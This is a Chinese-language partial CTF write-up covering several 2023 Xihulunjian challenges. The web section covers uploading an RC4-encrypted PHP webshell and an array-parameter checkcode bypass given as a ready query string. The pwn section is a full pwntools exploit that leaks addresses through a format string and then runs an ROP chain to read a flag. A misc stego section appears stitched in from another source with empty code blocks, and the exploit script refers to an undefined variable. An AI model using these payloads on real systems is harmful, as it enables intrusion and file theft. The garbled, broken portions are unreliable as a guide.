2023西湖论剑-(部分)WP
题目一名称:
unusual php
- 打开贴出了源码
发现可以文件上传然后直接上传php
发现提示错误 php没有解析成功
然后读取index.php 发现乱码
猜测后端处理应该有解密的操作,
在 上传文件时候贴上读取的index.php 解析正常 验证了猜想
然后在后面补充任意字符换行最后报错提示了/tmp/fuck.php
然后寻找加密猜测应该是有依赖通过对/proc/self/maps读取发现了
然后把zend_test.so 下载下来逆向分析
发现处理原理,解析时候先把文件读取然后rc4解密写入缓存文件/tmp/fuck.php (必须包含php字符串)
还有密匙直接构造一个加密的webshell上传
成功解析shell
然后读取/flag发现权限不足
测试后发现可以执行chmod
然后直接给flag权限然后读取
sudo chmod 777 flag
题目二名称:Node Magical Login
- flag1 直接修改cookie附带user=admin然后查看响应头
- 然后想办法得到flag2
function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}
发现 只要触发异常就可以得到flag
根据参数解析的库得到穿个数组就可以触发
checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1
题目三名称:扭转乾坤
直接上传文件提示:禁止 multipart/form-data 类型 然后测试后发现 直接大小写替换成功返回flag
:407a13a21a6b85b1236b003479468c82
一 题目描述
二 解题步骤
1.分析文件
(1)放入Audacity中查看频谱信息无果
(2)010editor中查看文件结构
文件尾部存在PNG文件尾,搜索png文件头
将该png文件复制提取出来,得到cipher_50CFEh_2FEh.png
有点像二维码,甚至Google到了图片降噪
2. 分析png
使用zsteg查看是否存在lsb信息
明显看到存在一个zip压缩数据内容。
1 |
|
保存后就可以正常打开了,得到一个带密码的压缩包
注:不是伪加密
3.分析zip
密码信息想到一个MP3音频隐写工具 MP3Steno.将cipher.mp3放到工具目录下使用GUI界面解密或者命令行提取都行。
得到
解压成功得到47.txt
4.分析txt
1 |
|
像是某种编码,通过文件名47,联想到 ROT47
得到另外一串编码,该编码像是js代码变量拼接输出了一些东西,直接F12控制台输出。
PWN:
Message Board
from pwn import *
context(arch='amd64',log_level='debug')
io = process('./pwn')
io = remote('tcp.cloud.dasctf.com',28345)
libc = ELF('./libc.so.6')
io.recvuntil('name:')
pay = f'%{6+0x19}$p%p'
io.send(pay)
io.recvuntil('Hello, ')
__libc_start_main_128 = int(io.recv(len('0x7efe283c8e40')),16)
stack= int(io.recv(len('0x7efe283c8e40')),16)
log.success(str(__libc_start_main_128))
libc_base = __libc_start_main_128 - 243 - libc.sym['__libc_start_main']
log.success('libc_base:'+hex(libc_base))
log.success('stack:'+hex(stack))
rop= ROP('./libc.so.6')
pop_rax = libc_base + rop.find_gadget(['pop rax','ret'])[0]
pop_rsi = libc_base + rop.find_gadget(['pop rsi','ret'])[0]
pop_rdi = libc_base + rop.find_gadget(['pop rdi','ret'])[0]
syscall_ret = libc_base + rop.find_gadget(['syscall','ret'])[0]
#ROPgadget --binary ./libc.so.6 --only "pop|ret"|grep rdx
padb = libc_base +0x000000000015f8c5 # pop rax ; pop rdx ; pop rbx ; ret
log.success(hex(pop_rax))
log.success(hex(pop_rsi))
log.success(hex(pop_rdi))
ret = 0x4013A3
orw_pay = p64(ret)*8 +flat([
0x0067616c662f,
padb,
2,
0,
0,
pop_rsi,
0,
pop_rdi,
stack+0x50,
syscall_ret,
pop_rdi,
3,
pop_rsi,
stack+0x50,
padb,
0,
0x40,
0,
syscall_ret,
pop_rax,
1,
pop_rdi,
1,
syscall_ret
])
read_pay = flat([
pop_rdi,
0,
pop_rsi,
stack+0x10,
padb,
0,
0x100,
0,
syscall_ret
])
print(hex(len(orw)))
io.recvuntil('DASCTF:')
payload = read_pay.ljust(0xb0,b'\x00') +p64(stack + 0x8) + p64(0x4013A2)
io.send(payload)
io.interactive()
io.send(orw_pay)
# Ctrl + c
io.interactive()